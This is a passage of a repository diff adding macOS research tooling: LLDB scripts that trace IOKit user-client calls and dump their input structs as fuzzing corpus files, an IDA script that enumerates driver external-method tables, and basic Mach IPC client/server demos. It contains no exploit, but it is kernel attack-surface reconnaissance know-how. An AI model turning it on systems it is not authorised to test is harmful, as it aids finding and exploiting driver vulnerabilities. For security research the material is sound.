input_ptr = frame.FindRegister("x2").GetValueAsUnsigned()
|
||||
inputCnt = frame.FindRegister("x3").GetValueAsUnsigned()
|
||||
output_ptr = frame.FindRegister("x6").GetValueAsUnsigned()
|
||||
outputCnt_ptr = frame.FindRegister("x7").GetValueAsUnsigned()
|
||||
outputStruct_ptr = frame.FindRegister("x8").GetValueAsUnsigned()
|
||||
outputStructCnt_ptr = frame.FindRegister("x9").GetValueAsUnsigned()
|
||||
|
||||
lines = ["kern_return_t IOConnectCallMethod", "-------------------------------------"]
|
||||
rows = [
|
||||
format_row("mach_port_t", "connection:", f"{hex(connection)}"),
|
||||
format_row("uint32_t", "selector:", f"{hex(selector)}"),
|
||||
format_row("const uint64_t *", "input:", f"{hex(input_ptr)}"),
|
||||
format_row("uint32_t", "inputCnt:", f"{hex(inputCnt)}"),
|
||||
format_row("const void *", "inputStruct:", f"{hex(inputStruct_ptr)}"),
|
||||
format_row("size_t", "inputStructCnt:", f"{hex(inputStructCnt)}"),
|
||||
format_row("uint64_t *", "output:", f"{hex(output_ptr)}"),
|
||||
format_row("uint32_t *", "outputCnt:", f"{hex(outputCnt_ptr)}"),
|
||||
format_row("void *", "outputStruct:", f"{hex(outputStruct_ptr)}"),
|
||||
format_row("size_t *", "outputStructCnt:", f"{hex(outputStructCnt_ptr)}"),
|
||||
]
|
||||
lines.extend(rows)
|
||||
|
||||
# Input/Output scalars and struct hexdumps...
|
||||
if inputStruct_ptr and inputStructCnt > 0:
|
||||
lines.append("\nInput Struct Hexdump (first 32 bytes):")
|
||||
dump = hexdump(process, inputStruct_ptr, min(inputStructCnt, 32))
|
||||
lines.append(dump)
|
||||
|
||||
# (Additional logic for other pointers as in previous script)
|
||||
|
||||
result.PutCString("\n".join(lines))
|
||||
result.SetStatus(0) # Use 0 for lldb.eReturnStatusSuccess
|
||||
|
||||
def __lldb_init_module(debugger, internal_dict):
|
||||
"""
|
||||
Registers the 'iokit_dump' command when the script is loaded in LLDB.
|
||||
"""
|
||||
debugger.HandleCommand('command script add -f iokitargs.iokit_dump iokit_dump')
|
||||
print("Loaded 'iokit_dump' command.")
|
||||
print("Usage: iokit_dump [FILENAME]")
|
||||
238
X. NU/custom/drivers/iokit_tracer.py
Normal file
238
X. NU/custom/drivers/iokit_tracer.py
Normal file
@@ -0,0 +1,238 @@
|
||||
#!/usr/bin/env python
|
||||
# iokit_tracer.py (v5 - Complete Data Inspection)
|
||||
|
||||
import lldb
|
||||
import shlex
|
||||
import threading
|
||||
import os
|
||||
import re
|
||||
|
||||
# --- Shared State & Locking ---
|
||||
g_lock = threading.Lock()
|
||||
connection_info_map = {}
|
||||
pending_connections = {}
|
||||
|
||||
# --- Helper Functions ---
|
||||
def hexdump(process, address, count):
|
||||
"""Returns a formatted hexdump string for a memory region."""
|
||||
err = lldb.SBError()
|
||||
# Limit the dump to a reasonable size to avoid flooding the console
|
||||
count = min(count, 256)
|
||||
if count == 0:
|
||||
return "<empty>"
|
||||
data = process.ReadMemory(address, count, err)
|
||||
if not err.Success():
|
||||
return f"<error reading memory at {hex(address)}: {err.GetCString()}>"
|
||||
|
||||
lines = []
|
||||
for i in range(0, len(data), 16):
|
||||
chunk = data[i:i+16]
|
||||
hex_str = " ".join(f"{b:02x}" for b in chunk)
|
||||
ascii_str = "".join(chr(b) if 32 <= b < 127 else "." for b in chunk)
|
||||
lines.append(f" {i:04x}: {hex_str:<48} |{ascii_str}|")
|
||||
return "\n".join(lines)
|
||||
|
||||
def resolve_service_name(frame, service_ptr):
|
||||
"""Evaluates IORegistryEntryGetName to get the service name from a service object."""
|
||||
if not service_ptr: return "null_service"
|
||||
expr = (f'char n[128]={{0}}; extern int IORegistryEntryGetName(void*,char*); IORegistryEntryGetName((void*){service_ptr},n); n')
|
||||
val = frame.EvaluateExpression(expr)
|
||||
if val.IsValid() and val.GetSummary():
|
||||
s = val.GetSummary().strip('"')
|
||||
if s and not s.startswith('0x'): return s
|
||||
return f"0x{service_ptr:x}"
|
||||
|
||||
def sanitize_filename(s):
|
||||
return re.sub(r'[^A-Za-z0-9._-]', '_', s)
|
||||
|
||||
# --- LLDB Hook Functions ---
|
||||
def ioserviceopen_hook(frame, bp_loc, internal_dict):
|
||||
"""Hook at IOServiceOpen. Stores args in a pending dictionary for the thread."""
|
||||
thread = frame.GetThread()
|
||||
target = thread.GetProcess().GetTarget()
|
||||
service_ptr = frame.FindRegister("x0").GetValueAsUnsigned()
|
||||
connect_ptr_addr = frame.FindRegister("x3").GetValueAsUnsigned()
|
||||
if service_ptr and connect_ptr_addr:
|
||||
with g_lock:
|
||||
pending_connections[thread.GetThreadID()] = {
|
||||
"service_name": resolve_service_name(frame, service_ptr),
|
||||
"connect_ptr_addr": connect_ptr_addr,
|
||||
"pid": thread.GetProcess().GetProcessID(),
|
||||
"exe_path": target.GetModuleAtIndex(0).GetFileSpec().fullpath or "unknown",
|
||||
"type": frame.FindRegister("x2").GetValueAsUnsigned()
|
||||
}
|
||||
return False
|
||||
|
||||
corpus_dir = None
|
||||
corpus_counter = 0
|
||||
|
||||
def ioconnectcallmethod_hook(frame, bp_loc, internal_dict):
|
||||
global corpus_counter
|
||||
thread = frame.GetThread()
|
||||
process = thread.GetProcess()
|
||||
connection = frame.FindRegister("x0").GetValueAsUnsigned()
|
||||
thread_id = thread.GetThreadID()
|
||||
|
||||
with g_lock:
|
||||
info = connection_info_map.get(connection)
|
||||
if not info and thread_id in pending_connections:
|
||||
pending_info = pending_connections.pop(thread_id)
|
||||
err = lldb.SBError()
|
||||
handle = process.ReadUnsignedFromMemory(pending_info["connect_ptr_addr"], 4, err)
|
||||
if err.Success() and handle != 0:
|
||||
connection_info_map[handle] = pending_info
|
||||
if handle == connection: info = pending_info
|
||||
|
||||
if info:
|
||||
# Read all argument registers
|
||||
selector = frame.FindRegister("x1").GetValueAsUnsigned()
|
||||
input_ptr = frame.FindRegister("x2").GetValueAsUnsigned()
|
||||
inputCnt = frame.FindRegister("x3").GetValueAsUnsigned()
|
||||
inputStruct_ptr = frame.FindRegister("x4").GetValueAsUnsigned()
|
||||
inputStructCnt = frame.FindRegister("x5").GetValueAsUnsigned()
|
||||
output_ptr = frame.FindRegister("x6").GetValueAsUnsigned()
|
||||
outputCnt_ptr = frame.FindRegister("x7").GetValueAsUnsigned()
|
||||
outputStruct_ptr = frame.FindRegister("x8").GetValueAsUnsigned()
|
||||
outputStructCnt_ptr = frame.FindRegister("x9").GetValueAsUnsigned()
|
||||
err = lldb.SBError()
|
||||
|
||||
# --- Read output scalar count and output struct count for filename ---
|
||||
outputCnt_val = process.ReadUnsignedFromMemory(outputCnt_ptr, 4, err) if outputCnt_ptr else 0
|
||||
outputCnt_str = str(outputCnt_val) if err.Success() else "err"
|
||||
outputStructCnt_val = process.ReadUnsignedFromMemory(outputStructCnt_ptr, 8, err) if outputStructCnt_ptr else 0
|
||||
outputStructCnt_str = str(outputStructCnt_val) if err.Success() else "err"
|
||||
|
||||
# --- Dump inputStruct to corpus directory if requested ---
|
||||
if corpus_dir and inputStruct_ptr and inputStructCnt > 0:
|
||||
try:
|
||||
data = process.ReadMemory(inputStruct_ptr, inputStructCnt, err)
|
||||
if err.Success():
|
||||
service_name = sanitize_filename(info['service_name'])
|
||||
type_val = info['type']
|
||||
# Find the next available n for the filename
|
||||
n = 0
|
||||
while True:
|
||||
fname = (
|
||||
f"corpus_{service_name}_{type_val}_{selector}_"
|
||||
f"{inputCnt}_{inputStructCnt}_{outputCnt_str}_{outputStructCnt_str}_{n}.bin"
|
||||
)
|
||||
full_path = os.path.join(corpus_dir, fname)
|
||||
if not os.path.exists(full_path):
|
||||
break
|
||||
n += 1
|
||||
with open(full_path, "wb") as f:
|
||||
f.write(data)
|
||||
print(f"[iokit_tracer] Dumped inputStruct ({inputStructCnt} bytes) to {full_path}")
|
||||
except Exception as e:
|
||||
print(f"[iokit_tracer] Error dumping inputStruct: {e}")
|
||||
|
||||
# Read input scalars from memory
|
||||
input_scalars = []
|
||||
if input_ptr and inputCnt > 0:
|
||||
for i in range(inputCnt):
|
||||
val = process.ReadUnsignedFromMemory(input_ptr + i*8, 8, err)
|
||||
input_scalars.append(f"{hex(val)}" if err.Success() else "<read_err>")
|
||||
|
||||
# Read output scalars (Note: This is post-call, data may not be valid yet on entry)
|
||||
# We read the *capacity* of the output buffer from the pointer.
|
||||
outputCnt_val = process.ReadUnsignedFromMemory(outputCnt_ptr, 4, err) if outputCnt_ptr else 0
|
||||
outputCnt_str = str(outputCnt_val) if err.Success() else "<read_err>"
|
||||
|
||||
outputStructCnt_val = process.ReadUnsignedFromMemory(outputStructCnt_ptr, 8, err) if outputStructCnt_ptr else 0
|
||||
outputStructCnt_str = str(outputStructCnt_val) if err.Success() else "<read_err>"
|
||||
|
||||
# Build output
|
||||
lines = [
|
||||
"----------------------------------------------------------------",
|
||||
f"PID: {info['pid']} | EXE: {info['exe_path']}",
|
||||
f"SERVICE: {info['service_name']} (Connection: {hex(connection)}) | TYPE: {info['type']}",
|
||||
f"SELECTOR: {selector} (0x{selector:x})",
|
||||
"--- INPUT ---",
|
||||
f"input Scalars ({inputCnt} values at {hex(input_ptr)}): [{', '.join(input_scalars)}]",
|
||||
f"inputStruct ({inputStructCnt} bytes at {hex(inputStruct_ptr)}):"
|
||||
]
|
||||
lines.append(hexdump(process, inputStruct_ptr, inputStructCnt))
|
||||
lines.append("--- OUTPUT ---")
|
||||
lines.append(f"outputCnt: {outputCnt_str} (capacity pointer: {hex(outputCnt_ptr)})")
|
||||
lines.append(f"outputStructCnt: {outputStructCnt_str} (capacity pointer: {hex(outputStructCnt_ptr)})")
|
||||
lines.append("----------------------------------------------------------------\n")
|
||||
print("\n".join(lines))
|
||||
# After printing all trace info, try to get the return value from the previous frame (caller)
|
||||
result_code = None
|
||||
caller_frame = thread.GetFrameAtIndex(1) if thread.GetNumFrames() > 1 else None
|
||||
if caller_frame:
|
||||
# On macOS/ARM64, return value is in x0; on x86_64, it's rax
|
||||
reg = caller_frame.FindRegister("x0") if caller_frame.FindRegister("x0").IsValid() else caller_frame.FindRegister("rax")
|
||||
if reg and reg.IsValid():
|
||||
result_code = reg.GetValueAsUnsigned()
|
||||
# Print result code if available
|
||||
if result_code is not None:
|
||||
print(f"[iokit_tracer] IOConnectCallMethod return code: 0x{result_code:x} ({result_code})")
|
||||
else:
|
||||
print("[iokit_tracer] IOConnectCallMethod return code: <unavailable>")
|
||||
return False
|
||||
|
||||
def trace_iokit(debugger, command, result, internal_dict):
|
||||
"""Command to attach or launch and set up the IOKit tracer."""
|
||||
global corpus_dir, corpus_counter
|
||||
args = shlex.split(command)
|
||||
pid, path, prog_args = None, None, []
|
||||
corpus_dir = None
|
||||
corpus_counter = 0
|
||||
# --- Parse -o/--out flag ---
|
||||
if "-o" in args:
|
||||
idx = args.index("-o")
|
||||
if idx + 1 < len(args):
|
||||
corpus_dir = args[idx + 1]
|
||||
del args[idx:idx+2]
|
||||
elif "--out" in args:
|
||||
idx = args.index("--out")
|
||||
if idx + 1 < len(args):
|
||||
corpus_dir = args[idx + 1]
|
||||
del args[idx:idx+2]
|
||||
if corpus_dir:
|
||||
os.makedirs(corpus_dir, exist_ok=True)
|
||||
print(f"[iokit_tracer] Will dump inputStructs to: {corpus_dir}")
|
||||
|
||||
if "--pid" in args: pid = args[args.index("--pid") + 1]
|
||||
if "--executable_path" in args: path = args[args.index("--executable_path") + 1]
|
||||
if "--" in args: prog_args = args[args.index("--") + 1:]
|
||||
with g_lock: connection_info_map.clear(); pending_connections.clear()
|
||||
|
||||
def setup_breakpoints(target):
|
||||
bp_open = target.BreakpointCreateByName("IOServiceOpen")
|
||||
bp_open.SetScriptCallbackFunction(f"{__name__}.ioserviceopen_hook")
|
||||
bp_open.SetAutoContinue(True)
|
||||
bp_call = target.BreakpointCreateByName("IOConnectCallMethod")
|
||||
bp_call.SetScriptCallbackFunction(f"{__name__}.ioconnectcallmethod_hook")
|
||||
bp_call.SetAutoContinue(True)
|
||||
|
||||
if path:
|
||||
target = debugger.CreateTargetWithFileAndArch(path, lldb.LLDB_ARCH_DEFAULT)
|
||||
setup_breakpoints(target)
|
||||
err = lldb.SBError()
|
||||
target.Launch(debugger.GetListener(), prog_args, None, None, None, None, ".", 0, False, err)
|
||||
if err.Success(): print(f"Launched '{path}'. IOKit tracer is active.")
|
||||
else: result.PutCString(f"Error launching: {err.GetCString()}")
|
||||
elif pid:
|
||||
debugger.HandleCommand(f'process attach --pid {pid}')
|
||||
target = debugger.GetSelectedTarget()
|
||||
if target and target.GetProcess().IsValid():
|
||||
setup_breakpoints(target)
|
||||
print(f"Attached to PID {pid}. IOKit tracer is active.")
|
||||
debugger.HandleCommand('continue')
|
||||
else: result.PutCString(f"Error: Failed to attach to PID {pid}")
|
||||
else:
|
||||
# Try to use the currently selected target and process
|
||||
target = debugger.GetSelectedTarget()
|
||||
process = target.GetProcess() if target else None
|
||||
if target and process and process.IsValid() and process.GetState() in [lldb.eStateStopped, lldb.eStateRunning]:
|
||||
setup_breakpoints(target)
|
||||
print("Using current LLDB target/process. IOKit tracer is active.")
|
||||
else:
|
||||
result.PutCString("Error: Specify --pid <PID> or --executable_path <path>, or attach to a process first.")
|
||||
|
||||
def __lldb_init_module(debugger, internal_dict):
|
||||
"""Registers the 'trace_iokit' command with LLDB."""
|
||||
debugger.HandleCommand(f'command script add -f {__name__}.trace_iokit trace_iokit')
|
||||
print("Loaded IOKit tracer. Use 'trace_iokit --pid <PID>' or 'trace_iokit --executable_path <path>'")
|
||||
69
X. NU/custom/drivers/print_externalmethods.py
Normal file
69
X. NU/custom/drivers/print_externalmethods.py
Normal file
@@ -0,0 +1,69 @@
|
||||
import ida_bytes
|
||||
import ida_name
|
||||
import idc
|
||||
|
||||
def print_methods(start_addr, count, struct_type=0):
|
||||
"""
|
||||
Print details of external methods or method templates.
|
||||
|
||||
Args:
|
||||
start_addr: Start address of methods array
|
||||
count: Number of entries to process
|
||||
struct_type: 0 for IOExternalMethodDispatch2022
|
||||
1 for IOExternalMethodDispatch
|
||||
2 for getTargetAndMethodForIndex methodTemplate
|
||||
"""
|
||||
if struct_type == 0:
|
||||
struct_size = 0x28
|
||||
elif struct_type == 1:
|
||||
struct_size = 0x18
|
||||
elif struct_type == 2:
|
||||
struct_size = 0x30
|
||||
else:
|
||||
print("Unsupported struct_type.")
|
||||
return
|
||||
|
||||
all_methods = []
|
||||
|
||||
print("Methods:")
|
||||
print("-" * 40)
|
||||
|
||||
for i in range(count):
|
||||
current_addr = start_addr + (i * struct_size)
|
||||
|
||||
func_ptr = idc.get_qword(current_addr)
|
||||
func_name = ida_name.get_name(func_ptr) if func_ptr else "Unknown"
|
||||
|
||||
if struct_type == 2:
|
||||
allow_async = idc.get_wide_byte(current_addr + 0x8)
|
||||
scalar_input = idc.get_wide_dword(current_addr + 0x10)
|
||||
struct_input = idc.get_wide_dword(current_addr + 0x14)
|
||||
scalar_output = idc.get_wide_dword(current_addr + 0x18)
|
||||
struct_output = idc.get_wide_dword(current_addr + 0x1C)
|
||||
print(f"Method {i}: {func_name}")
|
||||
print(f" Async: {bool(allow_async)}")
|
||||
else:
|
||||
print(f"Method {i}: {func_name}")
|
||||
scalar_input = idc.get_wide_dword(current_addr + 8)
|
||||
struct_input = idc.get_wide_dword(current_addr + 0xC)
|
||||
scalar_output = idc.get_wide_dword(current_addr + 0x10)
|
||||
struct_output = idc.get_wide_dword(current_addr + 0x14)
|
||||
|
||||
if struct_type == 0:
|
||||
allow_async = idc.get_wide_byte(current_addr + 0x18)
|
||||
entitlement_ptr = idc.get_qword(current_addr + 0x20)
|
||||
if entitlement_ptr:
|
||||
ent_str = idc.get_strlit_contents(entitlement_ptr, -1, idc.STRTYPE_C)
|
||||
if ent_str:
|
||||
print(f" Entitlement: {ent_str.decode('utf-8')}")
|
||||
|
||||
all_methods.append(f"{i}: [{scalar_input}, {struct_input}, {scalar_output}, {struct_output}]")
|
||||
|
||||
print("\nMethod summary (ID: [SCALAR_IN, IN_SIZE, SCALAR_OUT, OUT_SIZE]):")
|
||||
for m in all_methods:
|
||||
print(m)
|
||||
|
||||
# Usage in IDA:
|
||||
# print_methods(0xFFFFFE000835F490, 20, 2) # For getTargetAndMethodForIndex
|
||||
# print_methods(0xFFFFFE0007DCDBD8, 15, 1) # For old format
|
||||
# print_methods(0xFFFFFE0007F647A0, 10) # For 2022 format
|
||||
109
X. NU/custom/drivers/trace_ioserviceopen.py
Normal file
109
X. NU/custom/drivers/trace_ioserviceopen.py
Normal file
@@ -0,0 +1,109 @@
|
||||
"""
|
||||
trace_ioserviceopen.py
|
||||
|
||||
Trace IOServiceOpen calls in a target process using LLDB Python scripting to get Service Names and User Client types.
|
||||
|
||||
How to use:
|
||||
1. In LLDB, import this script:
|
||||
(lldb) command script import trace_ioserviceopen.py
|
||||
|
||||
2. Start tracing with:
|
||||
(lldb) setup_ioserviceopen --executable_path EXE_PATH -- [args...]
|
||||
or
|
||||
(lldb) setup_ioserviceopen --pid PID
|
||||
|
||||
What it does:
|
||||
- Sets a breakpoint on IOServiceOpen.
|
||||
- On every call, prints:
|
||||
- PID
|
||||
- Executable path
|
||||
- IOService name
|
||||
- Type
|
||||
- Does not stop or break execution; output is continuous and non-intrusive.
|
||||
|
||||
"""
|
||||
|
||||
import lldb
|
||||
import shlex
|
||||
|
||||
def ioserviceopen_trace_hook(frame, bp_loc, dict):
|
||||
# Get target and process objects from the current frame
|
||||
target = frame.GetThread().GetProcess().GetTarget()
|
||||
process = frame.GetThread().GetProcess()
|
||||
pid = process.GetProcessID()
|
||||
# Get the main module (executable) path
|
||||
module = target.GetModuleAtIndex(0)
|
||||
exe_path = module.GetFileSpec().fullpath or "unknown"
|
||||
# x0 holds the IOService pointer, x2 holds the type argument
|
||||
service = frame.FindRegister("x0").GetValueAsUnsigned()
|
||||
type_val = frame.FindRegister("x2").GetValueAsUnsigned()
|
||||
|
||||
# Try to resolve the IOService name using IORegistryEntryGetName.
|
||||
# This only works if the symbol is available and the process is not restricted.
|
||||
name_str = f"0x{service:x}"
|
||||
try:
|
||||
# Evaluate an expression in the target to call IORegistryEntryGetName.
|
||||
# This is safe if the symbol is present and the process allows it.
|
||||
expr = (
|
||||
'char name[128] = {0}; '
|
||||
'extern int IORegistryEntryGetName(void*, char*); '
|
||||
f'IORegistryEntryGetName((void*){service}, name); '
|
||||
'name'
|
||||
)
|
||||
val = frame.EvaluateExpression(expr)
|
||||
if val.IsValid() and val.GetSummary():
|
||||
s = val.GetSummary().strip('"')
|
||||
if s and not s.startswith('0x'):
|
||||
name_str = s
|
||||
except Exception:
|
||||
# If anything fails, just show the pointer value
|
||||
pass
|
||||
|
||||
print(f"\nPID: {pid}\nEXE PATH: {exe_path}\nSERVICE: {name_str}\nTYPE: {type_val}\n")
|
||||
# Returning False tells LLDB to auto-continue without stopping at the breakpoint
|
||||
return False
|
||||
|
||||
def setup_ioserviceopen(debugger, command, result, internal_dict):
|
||||
args = shlex.split(command)
|
||||
executable_path = None
|
||||
pid = None
|
||||
program_args = []
|
||||
i = 0
|
||||
# Parse command-line arguments for executable path, pid, and any program arguments
|
||||
while i < len(args):
|
||||
if args[i] == "--executable_path" and i + 1 < len(args):
|
||||
executable_path = args[i + 1]
|
||||
i += 2
|
||||
elif args[i] == "--pid" and i + 1 < len(args):
|
||||
pid = args[i + 1]
|
||||
i += 2
|
||||
elif args[i] == "--" and i + 1 < len(args):
|
||||
program_args = args[i + 1:]
|
||||
break
|
||||
else:
|
||||
i += 1
|
||||
|
||||
if executable_path and pid:
|
||||
print("Error: Specify either --executable_path or --pid", file=result)
|
||||
return
|
||||
if not executable_path and not pid:
|
||||
print("Error: Specify --executable_path or --pid", file=result)
|
||||
return
|
||||
|
||||
# Set up the target and breakpoint, and ensure auto-continue is enabled
|
||||
if executable_path:
|
||||
debugger.HandleCommand(f'target create "{executable_path}"')
|
||||
bp = debugger.GetSelectedTarget().BreakpointCreateByName("IOServiceOpen")
|
||||
bp.SetScriptCallbackFunction("trace_ioserviceopen.ioserviceopen_trace_hook")
|
||||
bp.SetAutoContinue(True)
|
||||
debugger.HandleCommand(f'process launch -- {" ".join(shlex.quote(arg) for arg in program_args)}')
|
||||
elif pid:
|
||||
debugger.HandleCommand(f'process attach --pid {pid}')
|
||||
bp = debugger.GetSelectedTarget().BreakpointCreateByName("IOServiceOpen")
|
||||
bp.SetScriptCallbackFunction("trace_ioserviceopen.ioserviceopen_trace_hook")
|
||||
bp.SetAutoContinue(True)
|
||||
debugger.HandleCommand('continue')
|
||||
|
||||
def __lldb_init_module(debugger, internal_dict):
|
||||
# Register the setup command with LLDB
|
||||
debugger.HandleCommand('command script add -f trace_ioserviceopen.setup_ioserviceopen setup_ioserviceopen')
|
||||
8
X. NU/custom/mach_call_demo.c
Normal file
8
X. NU/custom/mach_call_demo.c
Normal file
@@ -0,0 +1,8 @@
|
||||
#include <mach/mach.h>
|
||||
|
||||
int main() {
|
||||
mach_port_t port;
|
||||
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
|
||||
return 0; // Port allocation directly interacts with kernelspace
|
||||
}
|
||||
|
||||
15
X. NU/custom/mach_ipc/client_server_CFMessagePort/Makefile
Normal file
15
X. NU/custom/mach_ipc/client_server_CFMessagePort/Makefile
Normal file
@@ -0,0 +1,15 @@
|
||||
CC = clang
|
||||
FRAMEWORK = -framework Foundation
|
||||
|
||||
all: client server
|
||||
|
||||
client: client.m
|
||||
$(CC) $(FRAMEWORK) client.m -o client
|
||||
|
||||
server: server.m
|
||||
$(CC) $(FRAMEWORK) server.m -o server
|
||||
|
||||
clean:
|
||||
rm -f client server *.o
|
||||
|
||||
.PHONY: all clean
|
||||
16
X. NU/custom/mach_ipc/client_server_CFMessagePort/client.m
Normal file
16
X. NU/custom/mach_ipc/client_server_CFMessagePort/client.m
Normal file
@@ -0,0 +1,16 @@
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
@autoreleasepool {
|
||||
if (argc != 2) return 1;
|
||||
|
||||
CFMessagePortRef port = CFMessagePortCreateRemote(NULL, CFSTR("com.crimson.message_service"));
|
||||
if (port) {
|
||||
NSString *msg = [NSString stringWithUTF8String:argv[1]];
|
||||
NSData *data = [msg dataUsingEncoding:NSUTF8StringEncoding];
|
||||
CFMessagePortSendRequest(port, 0, (__bridge CFDataRef)data, 1, 1, NULL, NULL);
|
||||
CFRelease(port);
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
18
X. NU/custom/mach_ipc/client_server_CFMessagePort/server.m
Normal file
18
X. NU/custom/mach_ipc/client_server_CFMessagePort/server.m
Normal file
@@ -0,0 +1,18 @@
|
||||
// server.m
|
||||
// clang -framework Foundation server.m -o server
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
static CFDataRef callback(CFMessagePortRef port, SInt32 msgid, CFDataRef data, void *info) {
|
||||
NSLog(@"Received: %@", [[NSString alloc] initWithData:(__bridge NSData *)data encoding:NSUTF8StringEncoding]);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
int main() {
|
||||
@autoreleasepool {
|
||||
CFMessagePortRef port = CFMessagePortCreateLocal(NULL, CFSTR("com.crimson.message_service"), callback, NULL, NULL);
|
||||
CFRunLoopSourceRef source = CFMessagePortCreateRunLoopSource(NULL, port, 0);
|
||||
CFRunLoopAddSource(CFRunLoopGetCurrent(), source, kCFRunLoopCommonModes);
|
||||
[[NSRunLoop currentRunLoop] run];
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
15
X. NU/custom/mach_ipc/client_server_NSConnection/Makefile
Normal file
15
X. NU/custom/mach_ipc/client_server_NSConnection/Makefile
Normal file
@@ -0,0 +1,15 @@
|
||||
CC = clang
|
||||
CFLAGS = -framework Foundation
|
||||
|
||||
all: client server
|
||||
|
||||
client: client.m
|
||||
$(CC) $(CFLAGS) client.m -o client
|
||||
|
||||
server: server.m
|
||||
$(CC) $(CFLAGS) server.m -o server
|
||||
|
||||
clean:
|
||||
rm -f client server *.o
|
||||
|
||||
.PHONY: all clean
|
||||
17
X. NU/custom/mach_ipc/client_server_NSConnection/client.m
Normal file
17
X. NU/custom/mach_ipc/client_server_NSConnection/client.m
Normal file
@@ -0,0 +1,17 @@
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
@autoreleasepool {
|
||||
if (argc != 2) {
|
||||
NSLog(@"Usage: %s <message>", argv[0]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
NSConnection *connection = [NSConnection connectionWithRegisteredName:@"com.crimson.message_service" host:nil];
|
||||
id<NSObject> server = [connection rootProxy];
|
||||
|
||||
NSString *message = [NSString stringWithUTF8String:argv[1]];
|
||||
[server handleMessage:message];
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
22
X. NU/custom/mach_ipc/client_server_NSConnection/server.m
Normal file
22
X. NU/custom/mach_ipc/client_server_NSConnection/server.m
Normal file
@@ -0,0 +1,22 @@
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
@interface MessageServer : NSObject
|
||||
- (void)handleMessage:(NSString *)message;
|
||||
@end
|
||||
|
||||
@implementation MessageServer
|
||||
- (void)handleMessage:(NSString *)message {
|
||||
NSLog(@"Received: %@", message);
|
||||
}
|
||||
@end
|
||||
|
||||
int main() {
|
||||
@autoreleasepool {
|
||||
MessageServer *server = [[MessageServer alloc] init];
|
||||
NSConnection *connection = [NSConnection defaultConnection];
|
||||
[connection setRootObject:server];
|
||||
[connection registerName:@"com.crimson.message_service"];
|
||||
[[NSRunLoop currentRunLoop] run];
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
13
X. NU/custom/mach_ipc/client_server_NSMachPort/Makefile
Normal file
13
X. NU/custom/mach_ipc/client_server_NSMachPort/Makefile
Normal file
@@ -0,0 +1,13 @@
|
||||
CC=clang
|
||||
FRAMEWORKS=-framework Foundation
|
||||
|
||||
all: server client
|
||||
|
||||
server: server.m
|
||||
$(CC) $(FRAMEWORKS) server.m -o server
|
||||
|
||||
client: client.m
|
||||
$(CC) $(FRAMEWORKS) client.m -o client
|
||||
|
||||
clean:
|
||||
rm -f server client
|
||||
19
X. NU/custom/mach_ipc/client_server_NSMachPort/client.m
Normal file
19
X. NU/custom/mach_ipc/client_server_NSMachPort/client.m
Normal file
@@ -0,0 +1,19 @@
|
||||
// client.m
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <servers/bootstrap.h>
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
@autoreleasepool {
|
||||
if (argc != 2) return 1;
|
||||
|
||||
mach_port_t bp, port;
|
||||
task_get_bootstrap_port(mach_task_self(), &bp);
|
||||
bootstrap_look_up(bp, "com.crimson.message_service", &port);
|
||||
|
||||
NSMachPort *machPort = [[NSMachPort alloc] initWithMachPort:port];
|
||||
NSData *data = [[NSString stringWithUTF8String:argv[1]] dataUsingEncoding:NSUTF8StringEncoding];
|
||||
NSMutableArray *components = [NSMutableArray arrayWithObject:data];
|
||||
[machPort sendBeforeDate:[NSDate date] msgid:0 components:components from:nil reserved:0];
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
31
X. NU/custom/mach_ipc/client_server_NSMachPort/server.m
Normal file
31
X. NU/custom/mach_ipc/client_server_NSMachPort/server.m
Normal file
@@ -0,0 +1,31 @@
|
||||
// server.m
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <servers/bootstrap.h>
|
||||
|
||||
@interface Server : NSObject <NSMachPortDelegate>
|
||||
@end
|
||||
|
||||
@implementation Server
|
||||
- (void)handlePortMessage:(NSPortMessage *)message {
|
||||
NSData *data = [[message components] firstObject];
|
||||
NSString *msg = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
|
||||
NSLog(@"Received: %@", msg);
|
||||
}
|
||||
@end
|
||||
|
||||
int main() {
|
||||
@autoreleasepool {
|
||||
Server *server = [[Server alloc] init];
|
||||
mach_port_t bp;
|
||||
task_get_bootstrap_port(mach_task_self(), &bp);
|
||||
mach_port_t servicePort;
|
||||
kern_return_t kr = bootstrap_check_in(bp, "com.crimson.message_service", &servicePort);
|
||||
if (kr != KERN_SUCCESS) return 1;
|
||||
|
||||
NSMachPort *port = [[NSMachPort alloc] initWithMachPort:servicePort];
|
||||
port.delegate = server;
|
||||
[[NSRunLoop currentRunLoop] addPort:port forMode:NSDefaultRunLoopMode];
|
||||
[[NSRunLoop currentRunLoop] run];
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
15
X. NU/custom/mach_ipc/client_server_NSNotification/Makefile
Normal file
15
X. NU/custom/mach_ipc/client_server_NSNotification/Makefile
Normal file
@@ -0,0 +1,15 @@
|
||||
CC = clang
|
||||
CFLAGS = -framework Foundation
|
||||
|
||||
all: client server
|
||||
|
||||
client: client.m
|
||||
$(CC) $(CFLAGS) client.m -o client
|
||||
|
||||
server: server.m
|
||||
$(CC) $(CFLAGS) server.m -o server
|
||||
|
||||
clean:
|
||||
rm -f client server *.o
|
||||
|
||||
.PHONY: all clean
|
||||
19
X. NU/custom/mach_ipc/client_server_NSNotification/client.m
Normal file
19
X. NU/custom/mach_ipc/client_server_NSNotification/client.m
Normal file
@@ -0,0 +1,19 @@
|
||||
// client.m
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
@autoreleasepool {
|
||||
if (argc != 2) {
|
||||
NSLog(@"Usage: %s <message>", argv[0]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
NSString *message = [NSString stringWithUTF8String:argv[1]];
|
||||
[[NSDistributedNotificationCenter defaultCenter]
|
||||
